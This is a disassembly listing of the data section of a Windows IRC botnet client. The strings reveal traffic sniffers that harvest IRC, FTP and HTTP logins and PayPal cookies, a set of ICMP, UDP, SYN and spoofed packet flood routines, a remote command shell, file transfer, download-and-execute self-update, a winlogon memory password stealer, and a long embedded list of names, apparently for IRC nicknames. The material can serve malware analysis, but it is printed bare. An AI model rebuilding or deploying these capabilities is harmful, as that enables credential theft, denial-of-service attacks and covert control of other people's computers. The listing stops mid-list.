char aPsniff_0[] aPsniff_0 db '[PSNIFF]',0 ; DATA XREF: sub_412B61+235o align 10h ; char asc_437540[] asc_437540 db '-' ; DATA XREF: sub_412B61+186o db 3, 34h, 2 dd 696E7370h, 3026666h aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 10h ; char asc_437570[] asc_437570 db '-' ; DATA XREF: sub_412B61+103o db 3, 34h, 2 dd 696E7370h, 3026666h aBindFailedRetu db '- bind() failed, returned %d',0 align 4 ; char asc_43759C[] asc_43759C db '-' ; DATA XREF: sub_412B61+85o db 3, 34h, 2 dd 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 4 ; char aHashin[] aHashin db ':!hashin',0 ; DATA XREF: sub_412EEC+103o align 4 ; char a_hashin[] a_hashin db ':.hashin',0 ; DATA XREF: sub_412EEC+EEo align 10h ; char aIdent_0[] aIdent_0 db ':!ident',0 ; DATA XREF: sub_412EEC+D9o ; char a_ident[] a_ident db ':.ident',0 ; DATA XREF: sub_412EEC+C8o ; char a_login_1[] a_login_1 db ':.Login',0 ; DATA XREF: sub_412EEC+B7o ; char aLogin_0[] aLogin_0 db ':!Login',0 ; DATA XREF: sub_412EEC+A6o ; char aLogin[] aLogin db ':!login',0 ; DATA XREF: sub_412EEC+95o ; char a_login_0[] a_login_0 db ':.login',0 ; DATA XREF: sub_412EEC+84o ; char a366[] a366 db '366 ',0 ; DATA XREF: sub_412EEC+73o align 4 ; char a302[] a302 db '302 ',0 ; DATA XREF: sub_412EEC:loc_412F4Eo align 10h ; char aJoin_0[] aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412EEC+4Do align 4 ; char aPsniff_2[] aPsniff_2 db 'PSNIFF//',0 ; DATA XREF: sub_412EEC+3Co align 4 ; char aPsniff_1[] aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412EEC+2Bo align 10h ; char aBotSniff[] aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412EEC+5o align 4 ; char aYouAreNowAnIrc[] aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o ; char aOper_0[] aOper_0 db 'oper ',0 ; DATA XREF: sub_413003+51o align 10h ; char aNick_1[] aNick_1 db 'NICK ',0 ; DATA XREF: sub_413003:loc_413043o ; sub_413079+2Bo align 4 ; char aOper[] aOper db 'OPER ',0 ; DATA XREF: sub_413003+2Bo align 10h ; char aIrcSniff[] aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_413003+5o align 4 ; char aPass_0[] aPass_0 db 'PASS ',0 ; DATA XREF: sub_413079+73o align 4 ; char aUser_2[] aUser_2 db 'USER ',0 ; DATA XREF: sub_413079+62o align 4 ; char a230[] a230 db '230 ',0 ; DATA XREF: sub_413079:loc_4130CAo align 4 ; char a220[] a220 db '220 ',0 ; DATA XREF: sub_413079+3Co align 4 ; char aFtpSniff[] aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_413079+5o align 4 ; char aSetCookie[] aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_413100+73o ; char aPaypal_com_0[] aPaypal_com_0 db 'paypal.com',0 ; DATA XREF: sub_413100+62o align 10h ; char aPaypal_com[] aPaypal_com db 'PAYPAL.COM',0 ; DATA XREF: sub_413100+51o align 4 ; char aPaypal_0[] aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_413100:loc_413140o align 4 ; char aPaypal[] aPaypal db 'paypal',0 ; DATA XREF: sub_413100+2Bo align 4 ; char aHttpSniff[] aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_413100+5o align 4 ; char aOpenssh_2[] aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_413187+51o align 4 ; char aServUFtpServer[] aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o align 4 ; char aOpenssl0_9_6[] aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_413187+2Bo align 4 ; char aVulnSniff[] aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_413187+5o align 4 unk_437734 db 2Dh ; - ; DATA XREF: sub_4131EC+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 ; char asc_43776C[] asc_43776C db '-' ; DATA XREF: sub_4131EC+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4377A4 db 2Dh ; - ; DATA XREF: sub_4131EC+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_4377D8 db 2Dh ; - ; DATA XREF: sub_4131EC+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_43780C db 2Dh ; - ; DATA XREF: sub_4131EC+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 ; char asc_437840[] asc_437840 db '-' ; DATA XREF: sub_4131EC+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFail_0 db '- WSAIoctl() failed, returned %d',0 align 10h ; char asc_437870[] asc_437870 db '-' ; DATA XREF: sub_4131EC+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRe_0 db '- bind() failed, returned %d',0 align 4 ; char asc_43789C[] asc_43789C db '-' ; DATA XREF: sub_4135DF+5Eo db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 ; char asc_4378C4[] asc_4378C4 db '-' ; DATA XREF: sub_413694+302o db 3, 34h, 2 dd 736F6464h, 202D0302h, 646E6573h, 72726520h, 203A726Fh dd 6425h ; char asc_4378E0[] asc_4378E0 db '-' ; DATA XREF: sub_413A29+397o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aDoneWithSFlood db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0 align 4 ; char asc_43792C[] asc_43792C db '-' ; DATA XREF: sub_413A29+307o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aErrorSendingPa db 'error sending packets to %s. %d packets sent, returned %d',0 align 4 ; char asc_437974[] asc_437974 db '-' ; DATA XREF: sub_413A29+12Ao db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidTargetI db 'invalid target ip',0 align 4 ; char asc_437994[] asc_437994 db '-' ; DATA XREF: sub_413A29+C2o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aSetsockoptFail db 'setsockopt() failed, returned %d',0 align 4 ; char asc_4379C4[] asc_4379C4 db '-' ; DATA XREF: sub_413A29+49o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aSocketFailed_0 db 'socket() failed, returned %d',0 align 10h ; char asc_4379F0[] asc_4379F0 db '-' ; DATA XREF: sub_413E10+13Co db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFinishedSendin db 'finished sending pings to %s',0 align 4 ; char asc_437A1C[] asc_437A1C db '-' ; DATA XREF: sub_413E10+6Eo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aErrorSendingPi db 'error sending pings to %s',0 align 4 ; char asc_437A44[] asc_437A44 db '-' ; DATA XREF: sub_413F9C+1C6o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFinishedSend_0 db '- finished sending packets to %s',0 align 10h ; char asc_437A70[] asc_437A70 db '-' ; DATA XREF: sub_413F9C+8Eo db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aErrorSending_0 db '- error sending packets to %s',0 align 4 ; char asc_437A98[] asc_437A98 db '-' ; DATA XREF: sub_4141B2+4Bo db 3, 34h, 2 dd 73796B73h, 3026E79h aDoneWithFloodI db '- Done with flood (%iKB/sec)',0 align 4 ; char asc_437AC4[] asc_437AC4 db '-' ; DATA XREF: sub_414358+4Bo db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloo_0 db '- Done with flood (%iKB/sec).',0 align 4 ; char asc_437AEC[] asc_437AEC db '-' ; DATA XREF: sub_4143F7+27Do db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aSendErrorD_ db '- Send error: <%d>.',0 align 4 ; char asc_437B0C[] asc_437B0C db '-' ; DATA XREF: sub_414703+4Fo db 3, 34h, 2 dd 67726174h, 3023361h aDoneWithFlood_ db '- Done with flood.',0 align 4 ; char asc_437B2C[] asc_437B2C db '-' ; DATA XREF: sub_4149C1+4EBo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aDoneWithSFlo_0 db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 ; char asc_437B7C[] asc_437B7C db '-' ; DATA XREF: sub_4149C1+44Fo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSending_1 db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 ; char asc_437BCC[] asc_437BCC db '-' ; DATA XREF: sub_4149C1+15Fo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidTarge_0 db '- Invalid target IP.',0 align 4 ; char asc_437BEC[] asc_437BEC db '-' ; DATA XREF: sub_4149C1+EEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSetsockop db '- Error: setsockopt() failed, returned: <%d>.',0 align 4 ; char asc_437C24[] asc_437C24 db '-' ; DATA XREF: sub_4149C1+70o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSocketFai db '- Error: socket() failed, returned: <%d>.',0 align 4 ; char asc_437C58[] asc_437C58 db '-' ; DATA XREF: sub_414F57+66o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aDoneWithFloodD db '- Done with flood, %d packets sent.',0 align 4 ; char asc_437C8C[] asc_437C8C db '-' ; DATA XREF: sub_41525A+4Do db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aStartingWisdom db '- Starting Wisdom spoofed UDP flood thread.',0 align 4 unk_437CCC db 2Dh ; - ; DATA XREF: sub_4152D1+345o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorSending_2 db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError(' db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0 ; char asc_437D58[] asc_437D58 db '-' ; DATA XREF: sub_4152D1+2F3o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFinishedSend_1 db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat' db 'a sent (~%dK/s).',0 align 4 ; char asc_437DBC[] asc_437DBC db '-' ; DATA XREF: sub_4152D1+CCo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aSendingPackets db '- Sending packets to %s...',0 ; char asc_437DE8[] asc_437DE8 db '-' ; DATA XREF: sub_4152D1+80o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aInvalidTarge_1 db '- Invalid target IP. WSAGetLastError() returns %d.',0 unk_437E2C db 2Dh ; - ; DATA XREF: sub_4152D1+63o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSe db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0 align 4 ; char asc_437E7C[] asc_437E7C db '-' ; DATA XREF: sub_4152D1+2Ao db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 4 ; char asc_437EA8[] asc_437EA8 db '-' ; DATA XREF: sub_41561D+60o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 ; char aSD[] aSD db '%s%d ',0 ; DATA XREF: sub_4157BA+204o align 4 ; char aD_[] aD_ db '%d. ' ; DATA XREF: sub_415CC0+35o dd 73253403h, 203D2003h, 73253703h, 3 dword_437EF0 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415CC0+10o ; char a_2d_2d4d_2d_2d[] a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o align 4 dword_437F28 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_415DD8:loc_415E0Do dword_437F3C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_415DD8+20o ; char asc_437F50[] asc_437F50 db '-' ; DATA XREF: sub_415E4B+DCo db 3, 34h, 2 dd 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h, 6574656Ch dd 0 dword_437F6C dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: sub_415E4B+3Fo dd 676E6974h, 0 ; char asc_437F88[] asc_437F88 db '-' ; DATA XREF: sub_416000+170o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 ; char asc_437FBC[] asc_437FBC db '-' ; DATA XREF: sub_416000+ABo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 ; char asc_437FEC[] asc_437FEC db '-' ; DATA XREF: sub_416000+47o ; sub_4161C1+FDo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 10h ; char asc_438010[] asc_438010 db '-' ; DATA XREF: sub_4161C1+362o ; sub_416563+156o db 3, 34h, 2 dd 2636364h, 73202D03h, 656B636Fh, 72652074h, 726F72h ; char asc_438028[] asc_438028 db '-' ; DATA XREF: sub_4161C1+2FAo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 ; char asc_438054[] asc_438054 db '-' ; DATA XREF: sub_4161C1+202o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 dword_438078 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: sub_4161C1+1CBo dd 74756Fh ; char dword_438090 dword_438090 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_4161C1+16Ao dd 169h unk_4380A8 db 2Dh ; - ; DATA XREF: sub_4161C1+127o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 unk_4380C8 db 2Dh ; - ; DATA XREF: sub_4161C1+82o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_4380EC db 2Dh ; - ; DATA XREF: sub_4161C1+44o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 10h ; char asc_438110[] asc_438110 db '-' ; DATA XREF: sub_416563+1D1o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 ; char asc_43813C[] asc_43813C db '-' ; DATA XREF: sub_416563+CBo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_43815C db 2Dh ; - ; DATA XREF: sub_416563+ABo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 4 ; char aAB[] aAB db 'a+b',0 ; DATA XREF: sub_416563+97o unk_43818C db 2Dh ; - ; DATA XREF: sub_416563+83o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 ; char asc_4381BC[] asc_4381BC db '-' ; DATA XREF: sub_4167A0+493o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_4381E8 db 2Dh ; - ; DATA XREF: sub_4167A0+485o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 ; char asc_43821C[] asc_43821C db '-' ; DATA XREF: sub_4167A0+3C9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 10h ; char asc_438260[] asc_438260 db '-' ; DATA XREF: sub_4167A0+358o db 3, 34h, 2 dd 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh, 25206465h dd 73h ; char asc_43827C[] asc_43827C db '-' ; DATA XREF: sub_4167A0+2E1o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 ; char asc_4382B4[] asc_4382B4 db '-' ; DATA XREF: sub_4167A0+262o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 ; char asc_4382DC[] asc_4382DC db '-' ; DATA XREF: sub_4167A0+1D8o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 4 ; char asc_438308[] asc_438308 db '-' ; DATA XREF: sub_4167A0+195o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 10h unk_438330 db 2Dh ; - ; DATA XREF: sub_4167A0+183o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 4 ; char asc_438358[] asc_438358 db '-' ; DATA XREF: sub_4167A0+77o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 10h aUnknown db 'Unknown',0 ; DATA XREF: sub_416D48:loc_416D8Bo ; sub_419443+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_416D48:loc_416D85o aDisk db 'Disk',0 ; DATA XREF: sub_416D48:loc_416D7Fo align 4 aNetwork db 'Network',0 ; DATA XREF: sub_416D48:loc_416D79o aCdrom db 'Cdrom',0 ; DATA XREF: sub_416D48:loc_416D73o align 4 off_4383A8 dd offset word_4D4152 ; DATA XREF: sub_416D48:loc_416D6Do word_4383AC dw 3Fh ; DATA XREF: sub_416D48+1Fo ; sub_41AF8F:loc_41B091r align 10h ; char aFailed[] aFailed db 'failed',0 ; DATA XREF: sub_416DD9:loc_416EB7o ; sub_416EFD+3Bo align 4 ; char aSkb[] aSkb db '%sKB',0 ; DATA XREF: sub_416DD9+6Co align 10h ; char asc_4383C0[] asc_4383C0 db '-' ; DATA XREF: sub_416EFD+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 ; char asc_4383FC[] asc_4383FC db '-' ; DATA XREF: sub_416EFD+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 ; char aA_1[] aA_1 db 'A:\',0 ; DATA XREF: sub_416FCF:loc_417014o ; char asc_43843C[] asc_43843C db '-' ; DATA XREF: sub_417054+C8o db 3, 34h, 2 dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 64252064h dd 6C696620h, 7365h ; char asc_43845C[] asc_43845C db '-' ; DATA XREF: sub_417054+5Co db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 ; char asc_438484[] asc_438484 db '-' ; DATA XREF: sub_41716F+107o db 3, 34h, 2 dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 73252064h dd 73255Ch ; char aS_3[] aS_3 db '%s\*',0 ; DATA XREF: sub_41716F+1Ao align 4 ; char asc_4384A8[] asc_4384A8 db '-' ; DATA XREF: sub_4172C1:loc_41743Ao db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 ; char asc_4384DC[] asc_4384DC db '-' ; DATA XREF: sub_4172C1:loc_41740Do db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_438508 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_417406o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 10h ; char asc_438540[] asc_438540 db '-' ; DATA XREF: sub_4172C1+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 aUserdomain: ; DATA XREF: sub_4172C1+DCo unicode 0, <USERDOMAIN>,0 align 4 aUsername: ; DATA XREF: sub_4172C1+CEo unicode 0, <USERNAME>,0 align 4 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do align 10h aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_4172C1+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o ; sub_4172C1+161o ... align 4 unk_438678 db 2Dh ; - ; DATA XREF: sub_4172C1+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 4 ; char aMsgina[] aMsgina db 'MSGINA',0 ; DATA XREF: sub_417493+13Eo align 10h ; char aNwgina[] aNwgina db 'NWGINA',0 ; DATA XREF: sub_417493+123o align 4 ; char aWinlogon[] aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_417493+AFo align 4 ; char asc_4386C4[] asc_4386C4 db '-' ; DATA XREF: sub_4178F9+70o ; sub_417990+C7o db 3, 34h, 2 dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h dd 65735502h, 203A0272h, 2F532528h, 295325h ; char asc_438714[] asc_438714 db '-' ; DATA XREF: sub_417990+E1o db 3, 34h, 2 dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h dd 65735502h, 203A0272h, 2F532528h, 412F4E28h, 2929h ; char *off_438768 off_438768 dd offset aQ ; DATA XREF: sub_417E84+5Cr ; "q" dd offset dword_439318 dd offset aE ; "e" dd offset aR ; "r" dd offset aT ; "t" dd offset dword_439314 dd offset aU ; "u" dd offset aI ; "i" dd offset aP ; "p" dd offset aA ; "a" dd offset aS_5 ; "s" dd offset dword_439310 dd offset dword_43930C dd offset dword_439308 dd offset dword_439304 dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_439300 dd offset dword_4392FC dd offset dword_4392F8 dd offset aC ; "c" dd offset aV ; "v" dd offset dword_4392F4 dd offset aN ; "n" dd offset aM_0 ; "m" dd offset dword_4392F0 dd offset dword_4392EC dd offset dword_4392E8 dd offset dword_4392E4 dd offset dword_4392E0 dd offset word_4392DC dd offset dword_4392D8 dd offset aI_0 ; "I" dd offset dword_4392D4 dd offset dword_4392D0 dd offset aA_0 ; "A" dd offset dword_4392CC dd offset dword_4392C8 dd offset dword_4392C4 dd offset dword_4392C0 dd offset dword_4392BC dd offset dword_4392B8 dd offset dword_4392B4 dd offset dword_4392B0 dd offset dword_4392AC dd offset dword_4392A8 dd offset dword_4392A4 dd offset dword_4392A0 dd offset dword_43929C dd offset word_439298 dd offset aM_1 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; 